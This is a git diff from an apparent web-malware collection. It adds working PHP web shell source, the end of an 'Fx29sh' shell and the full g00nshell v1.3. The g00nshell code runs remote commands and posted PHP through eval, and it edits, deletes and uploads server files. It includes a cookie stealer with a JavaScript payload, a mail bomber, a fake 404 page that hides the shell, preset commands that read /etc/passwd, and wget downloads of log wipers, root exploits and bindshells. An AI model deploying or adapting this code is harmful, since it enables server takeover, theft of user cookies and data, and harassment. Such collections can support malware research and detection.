{background-color:#000000;color:#00FF00;padding:5px;font-size:12;} +.fxerrmsg {color:red; font-weight:bold;} +#pagebar,#pagebar p,h1,h2,h3,h4,form {margin:0;} +#pagebar,.mainpanel,input[type="submit"],input[type="button"] {background-color:#4A4A4A;} +.bartitle,input,select,option,input[type="submit"]:hover,input[type="button"]:hover {background-color:#333333;} +textarea,#pagebar input[type="text"],.mainpanel input[type="text"],input[type="file"],select,option {background-color:#000000;} +input[type="label"] { text-align:right;} +.info,.info td,input[type="label"] {border:0;background:none;} +</style> +'; +$html_start = ' +<html><head> +<title>'.getenv("HTTP_HOST").' - '.sh_name().'</title> +'.$style.' +</head> +<body> +<div class=bartitle><h4>'.sh_name().'</h4>.: No System is Perfectly Safe :.</div> +'; +return $html_start; +}; +function footer() { + echo "<div class=bartitle colspan=2><font size=1 color=#00FF00> By FaTaLisTiCz_Fx, � 2008 FeeLCoMz Community, Generated: ".round(getmicrotime()-starttime,4)." seconds</font></div>"; +} +chdir($lastdir); fx29shexit(); +?> diff --git a/web-malware-collection-master/Backdoors/PHP/g00nshell-v1.3.txt b/web-malware-collection-master/Backdoors/PHP/g00nshell-v1.3.txt new file mode 100755 index 0000000..508b82e --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/g00nshell-v1.3.txt @@ -0,0 +1,730 @@ + <?php +/* +###################################################################### +# [g00n]FiSh presents: # +# g00nshell v1.3 final # +############################DOCUMENTATION############################# +#To execute commands, simply include ?cmd=___ in the url. # +#Ex: http://site.com/shl.php?cmd=whoami # +# # +#To steal cookies, use ?cookie=___ in the url. # +#Ex: <script>document.location.href= # +#'http://site.com/shl.php?cookie='+document.cookies</script> # +##########################VERIFICATION LEVELS######################### +#0: No protection; anyone can access # +#1: User-Agent required # +#2: Require IP # +#3: Basic Authentication # +##############################KNOWN BUGS############################## +#Windows directory handling # +# # +#The SQL tool is NOT complete. There is currently no editing function# +#available. Some time in the future this may be fixed, but for now # +#don't complain to me about it # +################################SHOUTS################################ +#pr0be - Beta testing & CSS # +#TrinTiTTY - Beta testing # +#clorox - Beta testing # +#Everyone else at g00ns.net # +########################NOTE TO ADMINISTRATORS######################## +#If this script has been found on your server without your approval, # +#it would probably be wise to delete it and check your logs. # +###################################################################### +*/ +error_reporting(0); +// Configuration +$auth = 0; +$uakey = "724ea055b975621b9d679f7077257bd9"; // MD5 encoded user-agent +$IP = array("127.0.0.2","127.0.0.1"); // IP Addresses allowed to access shell +$email = ""; // E-mail address where cookies will be sent +$user = "55c4b3899b00d20543d41170d2775e8f"; // MD5 encoded User +$pass = "8634361d1a2e44420f44ef3612706bb5"; // MD5 encoded Password + +// Global Variables +$version = "1.3 final"; +$self = $_SERVER['PHP_SELF']; +$soft = $_SERVER["SERVER_SOFTWARE"]; +$servinf = split("[:]", getenv('HTTP_HOST')); +$servip = $servinf[0]; +$servport = $servinf[1]; +$uname = php_uname(); +$curuser = @exec('whoami'); +$cmd = $_GET['cmd']; +$act = $_GET['act']; +$cmd = $_GET['cmd']; +$cookie = $_GET['cookie']; +$f = $_GET['f']; +$curdir = cleandir(getcwd()); +if(!$dir){$dir = $_GET['dir'];} +elseif($dir && $_SESSION['dir']){$dir = $_SESSION['dir'];} +elseif($dir && $_SESSION['dir']){$dir = $curdir;} +if($dir && $dir != "nullz"){$dir = cleandir($dir);} +$contents = $_POST['contents']; +$gf = $_POST['gf']; +$img = $_GET['img']; +session_start(); +@set_time_limit(5); +switch($auth){ // Authentication switcher +case 0: break; +case 1: if(md5($_SERVER['HTTP_USER_AGENT']) != $uakey){hide();} break; +case 2: if(!in_array($_SERVER['REMOTE_ADDR'],$IP)){hide();} break; +case 3: if(!$_SERVER["PHP_AUTH_USER"]){userauth();} break; +} + +function userauth(){ // Basic authentication function +global $user, $pass; +header("WWW-Authenticate: Basic realm='Secure Area'"); +if(md5($_SERVER["PHP_AUTH_USER"]) != $user || md5($_SERVER["PHP_AUTH_PW"] != $pass)){ +hide(); +die(); +} +} + +if(!$act && !$cmd && !$cookie && !$f && !$dir && !$gf && !$img){main();} +elseif(!$act && $cmd){ +style(); +echo("<b>Results:</b>\n<br><textarea rows=20 cols=100>"); +$cmd = exec($cmd, $result); +foreach($result as $line){echo($line . "\n");} +echo("</textarea>"); +} +elseif($cookie){@mail("$email", "Cookie Data", "$cookie", "From: $email"); hide();} // Cookie stealer function +elseif($act == "view" && $f && $dir){view($f, $dir);} +elseif($img){img($img);} +elseif($gf){grab($gf);} +elseif($dir){files($dir);} +else{ +switch($act){ +case "phpinfo": phpinfo();break; +case "sql": sql();break; +case "files": files($dir);break; +case "email": email();break; +case "cmd": cmd();break; +case "upload": upload();break; +case "tools": tools();break; +case "sqllogin": sqllogin();break; +case "sql": sql();break; +case "lookup": lookup();break; +case "kill": kill();break; +case "phpexec": execphp();break; +default: main();break; +} +} + +function cleandir($d){ // Function to clean up the $dir and $curdir variables +$d = realpath($d); +$d = str_replace("\\\\", "//", $d); +$d = str_replace("////", "//", $d); +$d = str_replace("\\", "/", $d); +return($d); +} + + + +function hide(){ // Hiding function +global $self, $soft, $servip, $servport; +die("<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'> +<HTML><HEAD> +<TITLE>404 Not Found</TITLE> +</HEAD><BODY> +<H1>Not Found</H1> +The requested URL $self was not found on this server.<P> +<P>Additionally, a 404 Not Found +error was encountered while trying to use an ErrorDocument to handle the request. +<HR> +<ADDRESS>$soft Server at $servip Port $servport</ADDRESS> +</BODY></HTML>"); +} + +function style(){ // Style / header function +global $servip,$version; +echo("<html>\n +<head>\n +<title>g00nshell v" . $version . " - " . $servip . "</title>\n +<style>\n +body { background-color:#000000; color:white; font-family:Verdana; font-size:11px; }\n +h1 { color:white; font-family:Verdana; font-size:11px; }\n +h3 { color:white; font-family:Verdana; font-size:11px; }\n +input,textarea,select { color:#FFFFFF; background-color:#2F2F2F; border:1px solid #4F4F4F; font-family:Verdana; font-size:11px; }\n +textarea { font-family:Courier; font-size:11px; }\n +a { color:#6F6F6F; text-decoration:none; font-family:Verdana; font-size:11px; }\n +a:hover { color:#7F7F7F; }\n +td,th { font-size:12px; vertical-align:middle; }\n +th { font-size:13px; }\n +table { empty-cells:show;}\n +.inf { color:#7F7F7F; }\n +</style>\n +</head>\n"); +} + +function main(){ // Main/menu function +global $self, $servip, $servport, $uname, $soft, $banner, $curuser, $version; +style(); +$act = array('cmd'=>'Command Execute','files'=>'File View','phpinfo'=>'PHP info', 'phpexec'=>'PHP Execute', +'tools'=>'Tools','sqllogin'=>'SQL','email'=>'Email','upload'=>'Get Files','lookup'=>'List Domains','bshell'=>'Bindshell','kill'=>'Kill Shell'); +$capt = array_flip($act); +echo("<form method='GET' name='shell'>"); +echo("<b>Host:</b> <span class='inf'>" . $servip . "</span><br>"); +echo("<b>Server software:</b> <span class='inf'>" . $soft . "</span><br>"); +echo("<b>Uname:</b> <span class='inf'>" . $uname . "</span><br>"); +echo("<b>Shell Directory:</b> <span class='inf'>" . getcwd() . "</span><br>"); +echo("<div style='display:none' id='info'>"); +echo("<b>Current User:</b> <span class='inf'>" . $curuser . "</span><br>"); +echo("<b>ID:</b> <span class='inf'>" . @exec('id') . "</span><br>"); +if(@ini_get('safe_mode') != ""){echo("<b>Safemode:</b> <font color='red'>ON</font>");} +else{echo("<b>Safemode:</b> <font color='green'>OFF</font>");} +echo("\n<br>\n"); +if(@ini_get('open_basedir') != ""){echo("<b>Open Base Dir:</b> <font color='red'>ON</font> [ <span class='inf'>" . ini_get('open_basedir') . "</span> ]");} +else{echo("<b>Open Base Dir:</b> <font color='green'>OFF</font>");} +echo("\n<br>\n"); +if(@ini_get('disable_functions') != ""){echo("<b>Disabled functions:</b> " . @ini_get('disable_functions'));} +else{echo("<b>Disabled functions:</b> None");} +echo("\n<br>\n"); +if(@function_exists(mysql_connect)){echo("<b>MySQL:</b> <font color='green'>ON</font>");} +else{echo("<b>MySQL:</b> <font color='red'>OFF</font>");} +echo("</div>"); +echo("[ <a href='#hax' onClick=\"document.getElementById('info').style.display = 'block';\">More</a> ] "); +echo("[ <a href='#hax' onClick=\"document.getElementById('info').style.display = 'none';\">Less</a> ]"); +echo("<center>"); +echo("<h3 align='center'>Links</h3>"); +if($_SERVER['QUERY_STRING']){foreach($act as $link){echo("[ <a href='?" . $_SERVER['QUERY_STRING'] . "&act=" . $capt[$link] . "' target='frm'>" . $link . "</a> ] ");}} +else{foreach($act as $link){echo("[ <a href='?act=" . $capt[$link] . "' target='frm'>" . $link . "</a> ] ");}} +echo("</center>"); +echo("<hr>"); +echo("<br><iframe name='frm' style='width:100%; height:65%; border:0;' src='?act=files'></iframe>"); +echo("<pre style='text-align:center'>:: g00nshell <font color='red'>v" . $version . "</font> ::</pre>"); +die(); +} + +function cmd(){ // Command execution function +style(); +echo("<form name='CMD' method='POST'>"); +echo("<b>Command:</b><br>"); +echo("<input name='cmd' type='text' size='50'> "); +echo("<select name='precmd'>"); +$precmd = array(''=>'','Read /etc/passwd'=>'cat /etc/passwd','Open ports'=>'netstat -an', +'Running Processes'=>'ps -aux', 'Uname'=>'uname -a', 'Get UID'=>'id', +'Create Junkfile (/tmp/z)'=>'dd if=/dev/zero of=/tmp/z bs=1M count=1024', +'Find passwd files'=>'find / -type f -name passwd'); +$capt = array_flip($precmd); +foreach($precmd as $c){echo("<option value='" . $c . "'>" . $capt[$c] . "\n");} +echo("</select><br>\n"); +echo("<input type='submit' value='Execute'>\n"); +echo("</form>\n"); +if($_POST['cmd'] != ""){$x = $_POST['cmd'];} +elseif($_POST['precmd'] != ""){$x = $_POST['precmd'];} +else{die();} +echo("Results: <br><textarea rows=20 cols=100>"); +$cmd = @exec($x, $result); +foreach($result as $line){echo($line . "\n");} +echo("</textarea>"); +} + +function execphp(){ // PHP code execution function +style(); +echo("<h4>Execute PHP Code</h4>"); +echo("<form method='POST'>"); +echo("<textarea name='phpexec' rows=5 cols=100>"); +if(!$_POST['phpexec']){echo("/*Don't include <? ?> tags*/\n");} +echo(htmlentities($_POST['phpexec']) . "</textarea>\n<br>\n"); +echo("<input type='submit' value='Execute'>"); +echo("</form>"); +if($_POST['phpexec']){ +echo("<textarea rows=10 cols=100>"); +eval(stripslashes($_POST['phpexec'])); +echo("</textarea>"); +} +} + +function sqllogin(){ // MySQL login function +session_start(); +if($_SESSION['isloggedin'] == "true"){ +header("Location: ?act=sql"); +} +style(); +echo("<form method='post' action='?act=sql'>"); +echo("User:<br><input type='text' name='un' size='30'><br>\n"); +echo("Password:<br><input type='text' name='pw' size='30'><br>\n"); +echo("Host:<br><input type='text' name='host' size='30' value='localhost'><br>\n"); +echo("Port:<br><input type='text' name='port' size='30' value='3306'><br>\n"); +echo("<input type='submit' value='Login'>"); +echo("</form>"); +die(); +} + +function sql(){ // General SQL Function +session_start(); +if(!$_GET['sqlf']){style();} +if($_POST['un'] && $_POST['pw']){; +$_SESSION['sql_user'] = $_POST['un']; +$_SESSION['sql_password'] = $_POST['pw']; +} +if($_POST['host']){$_SESSION['sql_host'] = $_POST['host'];} +else{$_SESSION['sql_host'] = 'localhost';} +if($_POST['port']){$_SESSION['sql_port'] = $_POST['port'];} +else{$_SESSION['sql_port'] = '3306';} + +if($_SESSION['sql_user'] && $_SESSION['sql_password']){ +if(!($sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_port'], $_SESSION['sql_user'], $_SESSION['sql_password']))){ +unset($_SESSION['sql_user'], $_SESSION['sql_password'], $_SESSION['sql_host'], $_SESSION['sql_port']); +echo("Invalid credentials<br>\n"); +die(sqllogin()); +} +else{ +$_SESSION['isloggedin'] = "true"; +} +} +else{ +die(sqllogin()); +} + +if ($_GET['db']){ +mysql_select_db($_GET['db'], $sqlcon); +if($_GET['sqlquery']){ +$dat = mysql_query($_GET['sqlquery'], $sqlcon) or die(mysql_error()); +$num = mysql_num_rows($dat); +for($i=0;$i<$num;$i++){ +echo(mysql_result($dat, $i) . "<br>\n"); +} +} +else if($_GET['table'] && !$_GET['sqlf']){ +echo("<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "&sqlf=ins'>Insert Row</a><br><br>\n"); +echo("<table border='1'>"); +$query = "SHOW COLUMNS FROM " . $_GET['table']; +$result = mysql_query($query, $sqlcon) or die(mysql_error()); +$i = 0; +$fields = array(); +while($row = mysql_fetch_assoc($result)){ +array_push($fields, $row['Field']); +echo("<th>" . $fields[$i]); +$i++; +} +$result = mysql_query("SELECT * FROM " . $_GET['table'], $sqlcon) or die(mysql_error()); +$num_rows = mysql_num_rows($result) or die(mysql_error()); +$y=0; +for($x=1;$x<=$num_rows+1;$x++){ +if(!$_GET['p']){ +$_GET['p'] = 1; +} +if($_GET['p']){ +if($y > (30*($_GET['p']-1)) && $y <= 30*($_GET['p'])){ +echo("<tr>"); +for($i=0;$i<count($fields);$i++){ +$query = "SELECT " . $fields[$i] . " FROM " . $_GET['table'] . " WHERE " . $fields[0] . " = '" . $x . "'"; +$dat = mysql_query($query, $sqlcon) or die(mysql_error()); +while($row = mysql_fetch_row($dat)){ +echo("<td>" . $row[0] . "</td>"); +} +} +echo("</tr>\n"); +} +} +$y++; +} +echo("</table>\n"); +for($z=1;$z<=ceil($num_rows / 30);$z++){ +echo("<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "&p=" . $z . "'>" . $z . "</a> | "); +} +} +elseif($_GET['table'] && $_GET['sqlf']){ +switch($_GET['sqlf']){ +case "dl": sqldownload();break; +case "ins": sqlinsert();break; +default: $_GET['sqlf'] = ""; +} +} +else{ +echo("<table>"); +$query = "SHOW TABLES FROM " . $_GET['db']; +$dat = mysql_query($query, $sqlcon) or die(mysql_error()); +while ($row = mysql_fetch_row($dat)){ +echo("<tr><td><a href='?act=sql&db=" . $_GET['db'] . "&table=" . $row[0] ."'>" . $row[0] . "</a></td><td>[<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $row[0] ."&sqlf=dl'>Download</a>]</td></tr>\n"); +} +echo("</table>"); +} +} +else{ +$dbs=mysql_list_dbs($sqlcon); +while($row = mysql_fetch_object($dbs)) { +echo("<a href='?act=sql&db=" . $row->Database . "'>" . $row->Database . "</a><br>\n"); +} +} +mysql_close($sqlcon); +} + +function sqldownload(){ // Download sql file function +@ob_flush; +$sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_port'], $_SESSION['sql_user'], $_SESSION['sql_password']); +mysql_select_db($_GET['db'], $sqlcon); +$query = "SHOW COLUMNS FROM " . $_GET['table']; +$result = mysql_query($query, $sqlcon) or die(mysql_error()); +$fields = array(); +while($row = mysql_fetch_assoc($result)){ +array_push($fields, $row['Field']); +$i++; +} +$result = mysql_query("SELECT * FROM " . $_GET['table'], $sqlcon) or die(mysql_error()); +$num_rows = mysql_num_rows($result) or die(mysql_error()); +for($x=1;$x<$num_rows;$x++){ +$out .= "("; +for($i=0;$i<count($fields);$i++){ +$out .= "'"; +$query = "SELECT " . $fields[$i] . " FROM " . $_GET['table'] . " WHERE " . $fields[0] . " = '" . $x . "'"; +$dat = mysql_query($query, $sqlcon) or die(mysql_error()); +while($row = mysql_fetch_row($dat)){ +if($row[0] == ""){ +$row[0] = "NULL"; +} +if($i != count($fields)-1){ +$out .= str_replace("\r\n", "\\r\\n", $row[0]) . "', "; +} +else{ +$out .= $row[0]. "'"; +} +} +} +$out .= ");\n"; +} +$filename = $_GET['table'] . "-" . time() . '.sql'; +header("Content-type: application/octet-stream"); +header("Content-length: " . strlen($out)); +header("Content-disposition: attachment; filename=" . $filename . ";"); +echo($out); +die(); +} + +function sqlinsert(){ +style(); +$sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_port'], $_SESSION['sql_user'], $_SESSION['sql_password']); +mysql_select_db($_GET['db'], $sqlcon); +if($_POST['ins']){ +unset($_POST['ins']); +$fields = array_flip($_POST); +$f = implode(",", $fields); +$v = implode(",", $_POST); +$query = "INSERT INTO " . $_GET['table'] . " (" . $f . ") VALUES (" . $v . ")"; +mysql_query($query, $sqlcon) or die(mysql_error()); +die("Row inserted.<br>\n<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "'>Go back</a>"); +} +$query = "SHOW COLUMNS FROM " . $_GET['table']; +$result = mysql_query($query, $sqlcon) or die(mysql_error()); +$i = 0; +$fields = array(); +echo("<form method='POST'>"); +echo("<table>"); +while($row = mysql_fetch_assoc($result)){ +array_push($fields, $row['Field']); +echo("<tr><td><b>" . $fields[$i] . "</b><td><input type='text' name='" . $fields[$i] . "'><br>\n"); +$i++; +} +echo("</table>"); +echo("<br>\n<input type='submit' value='Insert' name='ins'>"); +echo("</form>"); +} + +function nicesize($size){ +if(!$size){return false;} +if ($size >= 1073741824){return(round($size / 1073741824) . " GB");} +elseif ($size >= 1048576){return(round($size / 1048576) . " MB");} +elseif ($size >= 1024){return(round($size / 1024) . " KB");} +else{return($size . " B");} +} + +function files($dir){ // File manipulator function +style(); +global $self, $curdir; +if($dir==""){$dir = $curdir;} +$dirx = explode("/", $dir); +$files = array(); +$folders = array(); +echo("<form method='GET'>"); +echo("<input type='text' name='dir' value='" . $dir . "' size='40'>"); +echo("<input type='submit' value='Go'>"); +echo("</form>"); +echo("<h4>File list for "); +for($i=0;$i<count($dirx);$i++){ +$totalpath .= $dirx[$i] . "/"; +echo("<a href='?dir=" . $totalpath . "'>$dirx[$i]</a>" . "/"); +} +echo("</h4>"); +echo("<table>"); +echo("<th>File Name<th>File Size</th>"); +if ($handle = opendir($dir)) { +while (false != ($link = readdir($handle))) { +if (is_dir($dir . '/' . $link)){ +$file = array(); +if(is_writable($dir . '/' . $link)){$file['perm']='write';} +elseif(is_readable($dir . '/' . $link)){$file['perm']='read';} +else{$file['perm']='none';} +switch($file['perm']){ +case "write": @$file['link'] = "<a href='?dir=$dir/$link'><font color='green'>$link</font></a>"; break; +case "read": @$file['link'] = "<a href='?dir=$dir/$link'><font color='yellow'>$link</font></a>"; break; +case "none": @$file['link'] = "<a href='?dir=$dir/$link'><font color='red'>$link</font></a>"; break; +default: @$file['link'] = "<a href='?dir=$dir/$link'><font color='red'>$link</font></a>"; break; +} +@$file['icon'] = "folder"; +if($_SERVER['QUERY_STRING']){$folder = "<img src='?" . $_SERVER['QUERY_STRING'] . "&img=" . $file['icon']. "'> " . $file['link'];} +else{$folder = "<img src='?img=" . $file['icon']. "'> " . $file['link'];} +array_push($folders, $folder); +} +else{ +$file = array(); +$ext = strtolower(end(explode(".", $link))); +if(!$file['size'] = nicesize(@filesize($dir . '/' . $link))){ +$file['size'] = "0B"; +} +if(is_writable($dir . '/' . $link)){$file['perm']='write';} +elseif(is_readable($dir . '/' . $link)){$file['perm']='read';} +else{$file['perm']='none';} +switch($file['perm']){ +case "write": @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='green'>$link</font></a>"; break; +case "read": @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='yellow'>$link</font></a>"; break; +case "none": @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='red'>$link</font></a>"; break; +default: @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='red'>$link</a></font>"; break; +} +switch($ext){ +case "exe": case "com": case "jar": case "": $file['icon']="binary"; break; +case "jpg": case "gif": case "png": case "bmp": $file['icon']="image"; break; +case "zip": case "tar": case "rar": case "gz": case "cab": case "bz2": case "gzip": $file['icon']="compressed"; break; +case "txt": case "doc": case "pdf": case "htm": case "html": case "rtf": $file['icon']="text"; break; +case "wav": case "mp3": case "mp4": case "wma": $file['icon']="sound"; break; +case "js": case "vbs": case "c": case "h": case "sh": case "pl": case "py": case "php": case "h": $file['icon']="script"; break; +default: $file['icon'] = "unknown"; break; +} +if($_SERVER['QUERY_STRING']){$file = "<tr><td><img src='?" . $_SERVER['QUERY_STRING'] . "&img=" . $file['icon']. "' height='18' width='18'> " . $file['link'] . "</td><td>" . $file['size'] . "</td></tr>\n";} +else{$file = "<tr><td><img src='?img=" . $file['icon']. "' height='18' width='18'> " . $file['link'] . "<td>" . $file['size'] . "</td></tr>\n";} +array_push($files, $file); +} +} +foreach($folders as $folder){echo("<tr><td>$folder</td><td>DIR</td></tr>\n");} +foreach($files as $file){echo($file);} +echo("</table>"); +closedir($handle); +} +} + +function email(){ // Email bomber function +$times = $_POST['times']; +$to = $_POST['to']; +$subject = $_POST['subject']; +$body = $_POST['body']; +$from = $_POST['from']; + +style(); +echo("<h2>Mail Bomber</h2> +<form method='POST' action='?act=email'> +<b>Your address:</b><br> +<input name='from' type='text' size='35'><br> +<b>Their address:</b><br> +<input name='to' type='text' size='35'><br> +<b>Subject:</b><br> +<input name='subject' type='text' size='35'><br> +<b>Text:</b><br> +<input name='body' type='text' size='35'><br> +<b>How many times:</b><br> +<input name='times' type='text' size='5'><br><br> +<input name='submit' type='submit' value='Submit'> +</form>"); +if ($to && $from){for($i=0;$i<$times;$i++){mail("$to", "$subject", "$body", "From: $from");}} +} + +function view($filename, $dir){ // File view function +if($_POST['fileact'] == "Download"){ +header("Content-type: application/octet-stream"); +header("Content-length: ".strlen($_POST['contents'])); +header("Content-disposition: attachment; filename=" . basename($filename) . ";"); +$handle = fopen($filename, "r"); +echo(fread($handle, filesize($filename))); +die(); +} +style(); +if($_POST['contents'] && $_POST['fileact'] == "Save"){ +$handle = fopen($filename, 'w'); +fwrite($handle, stripslashes($_POST['contents'])); +fclose($handle); +echo("Saved file.<br><br>"); +echo("<a href='?act=view&f=$filename&dir=nullz'>Go back</a>"); +die(); +} +elseif($_POST['fileact'] == "Delete"){ +unlink($filename); +echo("Deleted file.<br><br>"); +echo("<a href='?act=files'>Go back</a>"); +die(); +} + +if($dir != "nullz"){ // heh +$filename = $dir."/".$filename; +} +$bad = array("<", ">"); +$good = array("<", ">"); +$file = fopen($filename, 'r'); +$content = fread($file, @filesize($filename)); +echo("<form name='file' method='POST' action='?act=view&dir=$dir&f=$filename'>"); +echo("<textarea style='width:100%; height:92%;' name='contents'>"); +echo(str_replace($bad, $good, $content)."\n"); +echo("</textarea>"); +echo("<input name='fileact' type='submit' value='Save'>"); +echo("<input name='fileact' type='submit' value='Delete'>"); +echo("<input name='fileact' type='submit' value='Download'>"); +echo("</form>"); +} + +function edit($file, $contents){ // File edit function +style(); +$handle = fopen($file, 'w'); +fwrite($handle, $contents); +fclose($handle); +echo("Saved file.<br><br>"); +echo("<a href='?act=files'>Go back</a>"); +} + +function upload(){ // Uploading frontend function +global $curdir; +style(); +echo("<form name='files' enctype='multipart/form-data' method='POST'> +<b>Output Directory</b><br> +<input type='text' name='loc' size='65' value='" . $curdir . "'><br><br> +<b>Remote Upload</b><br> +<input type='text' name='rem' size='65'> +<input type='submit' value='Grab'><br><br> +<b>Local File Upload</b><br> +<input name='up' type='file' size='65'> +<input type='submit' value='Upload'> +</form><br>"); + +if($_POST['rem']){grab($_POST['rem']);} +if($_FILES['up']){up($_FILES['up']);} +} + +function up($up){ // Uploading backend function +style(); +$updir = $_POST['loc']; +move_uploaded_file($up["tmp_name"], $updir . "/" . $up["name"]); +die("File has been uploaded."); +} + +function grab($file){ // Uploading backend function +style(); +$updir = $_POST['loc']; +$filex = array_pop(explode("/", $file)); +if(exec("wget $file -b -O $updir/$filex")){die("File has been uploaded.");} +else{die("File upload failed.");} +} + +function tools(){ // Useful tools function +global $curdir; +style(); +$tools = array( +"--- Log wipers ---"=>"1", +"Vanish2.tgz"=>"http://packetstormsecurity.org/UNIX/penetration/log-wipers/vanish2.tgz", +"Cloak.c"=>"http://packetstormsecurity.org/UNIX/penetration/log-wipers/cloak.c", +"gh0st.sh"=>"http://packetstormsecurity.org/UNIX/penetration/log-wipers/gh0st.sh", +"--- Priv Escalation ---"=>"2", +"h00lyshit - Linux 2.6 ALL"=>"http://someshit.net/files/xpl/h00lyshit", +"k-rad3 - Linux <= 2.6.11"=>"http://someshit.net/files/xpl/krad3", +"raptor - Linux <= 2.6.17.4"=>"http://someshit.net/files/xpl/raptor", +"rootbsd - BSD v?"=>"http://someshit.net/files/xpl/rootbsd", +"--- Bindshells ---"=>"3", +"THC rwwwshell-1.6.perl"=>"http://packetstormsecurity.org/groups/thc/rwwwshell-1.6.perl", +"Basic Perl bindshell"=>"http://packetstormsecurity.org/groups/synnergy/bindshell-unix", +"--- Misc ---"=>"4", +"MOCKS SOCKS4 Proxy"=>"http://superb-east.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz", +"xps.c (proc hider)"=>"http://packetstormsecurity.org/groups/shadowpenguin/unix-tools/xps.c"); +$names = array_flip($tools); +echo("<b>Tools:</b>"); +echo("<form method='post'>"); +echo("<b>Output Directory</b><br>"); +echo("<input type='text' name='loc' size='65' value='" . $curdir . "'><br><br>"); +echo("<select name='gf' style='align:center;'>"); +foreach($tools as $tool) {echo("<option value='" . $tool . "'>" . $names[$tool] . "</option>\n");} +echo("</select>"); +echo("<br><input type='submit' value='Grab'>"); +echo("</form>"); +} + +function lookup(){ // Domain lookup function +style(); +global $servinf; +$script = "import urllib, urllib2, sys, re +req = urllib2.Request('http://www.seologs.com/ip-domains.html', urllib.urlencode({'domainname' : sys.argv[1]})) +site = re.findall('.+\) (.+)<br>', urllib2.urlopen(req).read()) +for i in xrange(0,len(site)): +print site[i]"; // My ***y python script +$handle = fopen('lookup.py', 'w'); +fwrite($handle, $script); +fclose($handle); +echo("<h4>Domains</h4>"); +echo("<ul>"); +$cmd = exec("python lookup.py " . $servinf[0], $ret); +foreach($ret as $site){echo("<li>" . $site . "\n");} +unlink('lookup.py'); +} + + +function img($img){ // Images function +$images = array( +"folder"=>"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAA" . +"gALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwq" . +"d1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"image"=>"R0lGODlhFAAWAOMAAP////8zM8z//8zMzJmZmWZmZmYAADMzMwCZzACZMwAzZgAAAAAAAAAAAAAAAAAAACH+TlRoaX" . +"MgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1i" . +"ZXIgMTk5NQAh+QQBAAACACwAAAAAFAAWAAAEkPDISae4WBzAu99Hdm1eSYYZWXYqOgJBLAcDoNrYNssGsBy/4GsX6y" . +"2OyMWQ2OMQngSlBjZLWBM1AFSqkyU4A2tWywUMYt/wlTSIvgYGA/Zq3QwU7mmHvh4g8GUsfAUHCH95NwMHV4SGh4Ed" . +"ihOOjy8rZpSVeiV+mYCWHncKo6Sfm5cliAdQrK1PQBlJsrNSEQA7", +"unknown"=>"R0lGODlhFAAWAMIAAP///8z//5mZmTMzMwAAAAAAAAAAAAAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" . +"9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAABACwAAAAAFAAW" . +"AAADaDi6vPEwDECrnSO+aTvPEQcIAmGaIrhR5XmKgMq1LkoMN7ECrjDWp52r0iPpJJ0KjUAq7SxLE+sI+9V8vycFiM" . +"0iLb2O80s8JcfVJJTaGYrZYPNby5Ov6WolPD+XDJqAgSQ4EUCGQQEJADs=", +"binary"=>"R0lGODlhFAAWAMIAAP///8z//8zMzJmZmTMzMwAAAAAAAAAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" . +"9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAABACwAAAAAFAAW" . +"AAADaUi6vPEwEECrnSS+WQoQXSEAE6lxXgeopQmha+q1rhTfakHo/HaDnVFo6LMYKYPkoOADim4VJdOWkx2XvirUgq" . +"VaVcbuxCn0hKe04znrIV/ROOvaG3+z63OYO6/uiwlKgYJJOxFDh4hTCQA7", +"text"=>"R0lGODlhFAAWAOMAAP/////MM/8zM8z//5mZmZlmM2bM/zMzMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH+TlRoaX" . +"MgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1i" . +"ZXIgMTk5NQAh+QQBAAADACwAAAAAFAAWAAAEb/DISee4eBzAu99Hdm1eSYbZWXEkgI5sEBg0+2HnTBsccvhAmGtXAy" . +"COSITwUGg2PYQoQalhOZ/QKLVV6gKmQm8XXDUmzx0yV5ze9s7JdpgtL3ME5jhHTS/xO3hwdWt0f317WwdSi4xRPxlw" . +"kUgXEQA7", +"compressed"=>"R0lGODlhFAAWAOcAAP//////zP//mf//Zv//M///AP/M///MzP/Mmf/MZv/MM//MAP+Z//+ZzP+Zmf+ZZv+ZM/+ZAP" . +"9m//9mzP9mmf9mZv9mM/9mAP8z//8zzP8zmf8zZv8zM/8zAP8A//8AzP8Amf8AZv8AM/8AAMz//8z/zMz/mcz/Zsz/" . +"M8z/AMzM/8zMzMzMmczMZszMM8zMAMyZ/8yZzMyZmcyZZsyZM8yZAMxm/8xmzMxmmcxmZsxmM8xmAMwz/8wzzMwzmc" . 